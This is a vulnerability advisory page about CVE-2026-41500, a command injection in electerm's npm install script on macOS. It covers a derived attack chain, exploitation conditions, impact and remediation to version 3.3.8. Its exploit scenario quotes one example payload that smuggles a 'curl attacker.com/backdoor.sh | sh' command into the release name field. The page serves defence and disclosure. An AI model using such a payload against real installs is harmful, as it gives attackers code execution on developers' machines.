Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCompromise update server or MITM npm traffic
-
DeliveryInject shell metacharacters into releaseInfo.name
-
ExploitVictim runs 'npm install -g electerm' on macOS
-
ExecutionMalicious name passes to exec('open ...')
-
PersistArbitrary commands execute as installing user
-
ImpactAttacker gains code execution on developer workstation
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to run 'npm install -g electerm' (or npm update for an existing installation) on a macOS system while the attacker can manipulate the release metadata served to the install script. Specifically: (1) the target must be installing/updating electerm version prior to 3.3.8, (2) the installation must execute on macOS (the vulnerable runMac() function), and (3) the attacker must have achieved either compromise of the electerm project's release server/CDN infrastructure or a man-in-the-middle position between the victim and the metadata source. Linux and Windows installations are not affected as they use different code paths (different functions in install.js). Default npm installations over HTTPS with valid certificates limit MITM feasibility, making supply chain compromise the more realistic attack vector. The vulnerability does NOT affect already-installed electerm runtime instances - only the installation process itself. |
| Impact | CVSS 9.8 vector (AV:N/AC:L/PR:N/UI:N) overstates real-world risk. While technically network-reachable, exploitation requires either: (1) compromise of electerm's official release server/CDN to serve malicious metadata, or (2) MITM attack during npm installation to inject crafted releaseInfo.name values. Neither scenario represents trivial remote exploitation against arbitrary users. No EPSS score provided. Not in CISA KEV. No public POC exists. The impact is limited to the installation phase on macOS only - users who already have electerm installed are not vulnerable unless they reinstall/upgrade via npm. Technical impact is high (arbitrary command execution as the installing user), but exploitation barriers (supply chain position or MITM) significantly reduce real-world likelihood. Priority should be moderate: users should upgrade to 3.3.8, but this is not an actively exploited remote vulnerability in deployed instances. Key uncertainty: Original description says 'github.com/elcterm/electerm' (typo: elcterm vs electerm) - assumed to be electerm project, but vendor confirmation of exact affected repository would strengthen analysis. |
| Exploit ScenarioDerived | An attacker compromises electerm's release metadata server or performs a man-in-the-middle attack during 'npm install -g electerm' on a macOS system. The attacker injects shell metacharacters into the releaseInfo.name field (e.g., 'electerm-3.3.7.dmg; curl attacker.com/backdoor.sh | sh'). When the victim runs npm install, the malicious name string is passed unsanitized to exec('open ' + releaseInfo.name), executing the attacker's commands with the privileges of the installing user. The attacker achieves arbitrary code execution, potentially installing persistence mechanisms or exfiltrating credentials from the developer's workstation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Command injection in electerm's npm install script allows arbitrary command execution on macOS systems during 'npm install -g electerm'. The runMac() function in install.js:150 passes attacker-controlled remote release metadata (releaseInfo.name) directly to exec('open ...') without validation, enabling remote code execution as the installing user. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N) reflects theoretical network-based exploitation, though actual attack requires compromise of the project's update server or man-in-the-middle position during npm package installation. No public exploit identified at time of analysis. Vendor-released patch: version 3.3.8 (commit 59708b3).
RemediationAI
Upgrade to electerm version 3.3.8 or later via 'npm install -g electerm@latest'. The fix in commit 59708b38c8a52f5db59d7d4eff98e31d573128ee removes the vulnerable exec() call entirely, replacing install.js with a safer implementation using tar extraction and child_process.spawn() with separated arguments. The auto-open behavior on macOS was eliminated. Users who installed pre-3.3.8 versions should verify no malicious commands were executed during installation by reviewing shell history and system logs from the installation timeframe. No workaround exists for older versions per the vendor advisory - upgrade is mandatory. As the vulnerability is in the install script rather than runtime code, already-installed instances pose no ongoing risk, but all future installations/updates should use 3.3.8+. Release notes: https://github.com/electerm/electerm/releases/tag/v3.3.8. Patch commit: https://github.com/electerm/electerm/commit/59708b38c8a52f5db59d7d4eff98e31d573128ee.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability stems from unsafe use of Node.js child_process.exec() in an npm postinstall script. CWE-77 (Command Injection) occurs when the install.js script retrieves release metadata from a remote server and concatenates the unsanitized 'name' field into a shell command executed via exec(). The affected code path is specific to macOS installations where runMac() opens downloaded packages. CPE cpe:2.3:a:electerm:electerm identifies the affected product as electerm's npm package. The vulnerability exists in the package installation lifecycle, not the runtime application itself. The commit diff shows the vulnerable install.js was replaced with a safer implementation using tar extraction and spawn() instead of exec(), and the auto-open behavior on macOS was removed entirely.
Know when Electerm gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.3.8, a command injection vulnerability exists in github.com/elcterm/electerm/npm/install.js:150. The runMac() function appends attacker-controlled remote releaseInfo.name directly into an exec("open ...") command without validation. This issue has been patched in version 3.3.8.
Executive ViewAI
CVE-2026-41500 is a critical command injection vulnerability in the electerm npm package that allows unauthenticated remote code execution during global installation on macOS systems. Any organization with developers installing electerm globally is at risk of compromised developer environments, which could lead to supply chain attacks, credential theft, and lateral movement into production systems. Immediate action is required to prevent installation of vulnerable versions.
Vendor-released patch: version 3.3.8. Until patched, block electerm installation at the network level via npm registry proxies (e.g., Verdaccio, Artifactory); restrict developer sudo/admin privileges to prevent global npm installs; isolate affected developer machines from production network access; monitor npm install logs for electerm package downloads; require manual code review of any projects using electerm as a dependency.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in electerm Remote Code Execution
View all 5Unintended internal method dispatch in electerm prior to v3.15.186 allows any authenticated WebSocket client to invoke a
Command injection in electerm prior to version 3.15.120 enables a malicious FTP or SFTP server operator to execute arbit
OS command injection in Electerm on Windows up to and including 5.8.0 lets a file or folder name carrying a typographic
Path traversal in electerm's RDP clipboard file transfer (prior to v3.15.120) lets a malicious RDP server write attacker
Path traversal in electerm's recursive file transfer component allows a malicious FTP or SFTP server to write attacker-c
Path traversal in electerm's SFTP client allows a malicious or man-in-the-middle SFTP server to write attacker-controlle
Electerm through 5.8.1 ships a built-in MCP Server widget that binds an Express HTTP listener to 127.0.0.1:30837 and, by
Arbitrary OS command execution in electerm before 5.3.15 is achievable through a completely unvalidated Electron IPC bri
EUVD-2026-28496
GHSA-wxw2-rwmh-vr8f
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB